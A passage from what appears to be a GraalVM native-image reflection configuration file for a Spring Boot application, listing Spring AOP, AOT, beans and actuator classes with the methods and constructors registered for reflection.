\"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.aop.TargetClassAware\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.aop.TargetSource\"\n},\n{\n  \"name\":\"org.springframework.aop.aspectj.annotation.AnnotationAwareAspectJAutoProxyCreator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aop.aspectj.annotation.AspectJAdvisorBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aop.aspectj.annotation.AspectJAdvisorFactory\"\n},\n{\n  \"name\":\"org.springframework.aop.aspectj.annotation.AspectJBeanFactoryInitializationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.aop.framework.AbstractAdvisingBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"determineBeanType\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"setBeforeExistingAdvisors\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.aop.framework.Advised\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.aop.framework.AopInfrastructureBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.aop.framework.ProxyConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"copyFrom\",\"parameterTypes\":[\"org.springframework.aop.framework.ProxyConfig\"] }, {\"name\":\"isExposeProxy\",\"parameterTypes\":[] }, {\"name\":\"isFrozen\",\"parameterTypes\":[] }, {\"name\":\"isOpaque\",\"parameterTypes\":[] }, {\"name\":\"isOptimize\",\"parameterTypes\":[] }, {\"name\":\"isProxyTargetClass\",\"parameterTypes\":[] }, {\"name\":\"setExposeProxy\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setFrozen\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setOpaque\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setOptimize\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setProxyTargetClass\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aop.framework.ProxyFactory\"\n},\n{\n  \"name\":\"org.springframework.aop.framework.ProxyProcessorSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"setBeanClassLoader\",\"parameterTypes\":[\"java.lang.ClassLoader\"] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setProxyClassLoader\",\"parameterTypes\":[\"java.lang.ClassLoader\"] }]\n},\n{\n  \"name\":\"org.springframework.aop.framework.adapter.AdvisorAdapterRegistry\"\n},\n{\n  \"name\":\"org.springframework.aop.framework.autoproxy.AbstractAdvisorAutoProxyCreator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.aop.framework.autoproxy.AbstractAutoProxyCreator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"determineBeanType\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"determineCandidateConstructors\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"getEarlyBeanReference\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"isFrozen\",\"parameterTypes\":[] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeInstantiation\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"postProcessProperties\",\"parameterTypes\":[\"org.springframework.beans.PropertyValues\",\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"predictBeanType\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"setAdvisorAdapterRegistry\",\"parameterTypes\":[\"org.springframework.aop.framework.adapter.AdvisorAdapterRegistry\"] }, {\"name\":\"setApplyCommonInterceptorsFirst\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setCustomTargetSourceCreators\",\"parameterTypes\":[\"org.springframework.aop.framework.autoproxy.TargetSourceCreator[]\"] }, {\"name\":\"setFrozen\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setInterceptorNames\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.springframework.aop.framework.autoproxy.AbstractBeanFactoryAwareAdvisingPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.aop.framework.autoproxy.TargetSourceCreator\"\n},\n{\n  \"name\":\"org.springframework.aop.scope.ScopedObject\"\n},\n{\n  \"name\":\"org.springframework.aop.scope.ScopedProxyBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getAdvice\",\"parameterTypes\":[] }, {\"name\":\"getAdviceBeanName\",\"parameterTypes\":[] }, {\"name\":\"setAdvice\",\"parameterTypes\":[\"org.aopalliance.aop.Advice\"] }, {\"name\":\"setAdviceBeanName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aop.support.AbstractPointcutAdvisor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"equals\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"hashCode\",\"parameterTypes\":[] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"org.springframework.aot.generate.Generated\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.aot.generate.GenerationContext\"\n},\n{\n  \"name\":\"org.springframework.aot.hint.RuntimeHintsRegistrar\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.aot.hint.annotation.Reflective\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.aot.hint.annotation.RegisterReflectionForBinding\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.aot.hint.annotation.RegisterReflectionForBindingProcessor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aot.hint.annotation.SimpleReflectiveProcessor\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aot.hint.support.KotlinDetectorRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aot.hint.support.ObjectToObjectConverterRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aot.hint.support.PathMatchingResourcePatternResolverRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aot.hint.support.SpringFactoriesLoaderRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.aot.hint.support.SpringPropertiesRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.batch.core.configuration.annotation.BatchObservabilityBeanPostProcessor\"\n},\n{\n  \"name\":\"org.springframework.batch.core.launch.JobLauncher\"\n},\n{\n  \"name\":\"org.springframework.beans.BeanUtilsRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.beans.BeanWrapper\"\n},\n{\n  \"name\":\"org.springframework.beans.BeansException\"\n},\n{\n  \"name\":\"org.springframework.beans.PropertyEditorRegistry\"\n},\n{\n  \"name\":\"org.springframework.beans.PropertyValues\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.Aware\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.BeanClassLoaderAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.BeanCreationException\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.BeanFactory\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.BeanFactoryAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.BeanNameAware\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.DisposableBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"destroy\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.FactoryBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"isSingleton\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.InitializingBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.ListableBeanFactory\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.NoSuchBeanDefinitionException\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.ObjectProvider\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.SmartInitializingSingleton\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.annotation.Autowired\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"determineBeanType\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"determineCandidateConstructors\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"postProcessMergedBeanDefinition\",\"parameterTypes\":[\"org.springframework.beans.factory.support.RootBeanDefinition\",\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"postProcessProperties\",\"parameterTypes\":[\"org.springframework.beans.PropertyValues\",\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"processAheadOfTime\",\"parameterTypes\":[\"org.springframework.beans.factory.support.RegisteredBean\"] }, {\"name\":\"resetBeanDefinition\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addDestroyAnnotationType\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"addInitAnnotationType\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeDestruction\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"requiresDestruction\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"setDestroyAnnotationType\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"setInitAnnotationType\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.annotation.InitDestroyAnnotationBeanPostProcessor$LifecycleMetadata\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.annotation.InjectionMetadata\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.annotation.JakartaAnnotationsRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.annotation.Qualifier\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.annotation.Value\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.aot.BeanFactoryInitializationAotContribution\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.aot.BeanFactoryInitializationAotProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.aot.BeanFactoryInitializationCode\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.aot.BeanRegistrationAotContribution\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.aot.BeanRegistrationAotProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"isBeanExcludedFromAotProcessing\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.aot.BeanRegistrationCodeFragments\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.aot.BeanRegistrationsAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.AutowireCapableBeanFactory\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.BeanDefinition\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.BeanDefinitionHolder\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.BeanFactoryPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.BeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.ConfigurableBeanFactory\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.DestructionAwareBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.InstantiationAwareBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"postProcessAfterInstantiation\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"postProcessBeforeInstantiation\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"postProcessProperties\",\"parameterTypes\":[\"org.springframework.beans.PropertyValues\",\"java.lang.Object\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.PlaceholderConfigurerSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"setBeanName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setIgnoreUnresolvablePlaceholders\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setNullValue\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setPlaceholderPrefix\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setPlaceholderSuffix\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setTrimValues\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setValueSeparator\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.PropertyResourceConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.config.SmartInstantiationAwareBeanPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"determineCandidateConstructors\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }, {\"name\":\"getEarlyBeanReference\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"predictBeanType\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.generator.BeanRegistrationContributionProvider\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.parsing.ProblemReporter\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.parsing.SourceExtractor\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.support.AutowireCandidateResolver\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.support.BeanDefinitionRegistry\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.support.BeanDefinitionRegistryPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.beans.factory.support.BeanNameGenerator\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.support.MergedBeanDefinitionPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"resetBeanDefinition\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.support.NullBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"equals\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"hashCode\",\"parameterTypes\":[] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.beans.factory.support.RegisteredBean\"\n},\n{\n  \"name\":\"org.springframework.beans.factory.support.RootBeanDefinition\"\n},\n{\n  \"name\":\"org.springframework.boot.ApplicationContextFactory\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.ClearCachesApplicationListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.LazyInitializationExcludeFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.SpringApplication\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.SpringApplication$SpringApplicationRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.SpringApplication.SpringApplicationRuntimeHints\"\n},\n{\n  \"name\":\"org.springframework.boot.SpringApplicationBannerPrinter$SpringApplicationBannerPrinterRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.SpringApplicationBannerPrinter.SpringApplicationBannerPrinterRuntimeHints\"\n},\n{\n  \"name\":\"org.springframework.boot.SpringApplicationRunListener\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.SpringBootConfiguration\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.SpringBootExceptionReporter\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.WebApplicationType$WebApplicationTypeRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.WebApplicationType.WebApplicationTypeRuntimeHints\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.audit.AuditEventRepository\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.audit.AuditEventsEndpoint\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.audit.AuditAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.audit.AuditEventsEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.availability.AvailabilityHealthContributorAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.availability.AvailabilityProbesAutoConfiguration$ProbesCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.beans.BeansEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"beansEndpoint\",\"parameterTypes\":[\"org.springframework.context.ConfigurableApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.cache.CachesEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"cachesEndpoint\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"cachesEndpointWebExtension\",\"parameterTypes\":[\"org.springframework.boot.actuate.cache.CachesEndpoint\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.condition.ConditionsReportEndpoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.condition.ConditionsReportEndpoint$ConditionsDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.condition.ConditionsReportEndpoint$ContextConditionsDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.condition.ConditionsReportEndpoint$MessageAndConditionDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.condition.ConditionsReportEndpoint$MessageAndConditionsDescriptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.condition.ConditionsReportEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"conditionsReportEndpoint\",\"parameterTypes\":[\"org.springframework.context.ConfigurableApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.context.properties.ConfigurationPropertiesReportEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"configurationPropertiesReportEndpoint\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.context.properties.ConfigurationPropertiesReportEndpointProperties\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"configurationPropertiesReportEndpointWebExtension\",\"parameterTypes\":[\"org.springframework.boot.actuate.context.properties.ConfigurationPropertiesReportEndpoint\",\"org.springframework.boot.actuate.autoconfigure.context.properties.ConfigurationPropertiesReportEndpointProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.context.properties.ConfigurationPropertiesReportEndpointProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  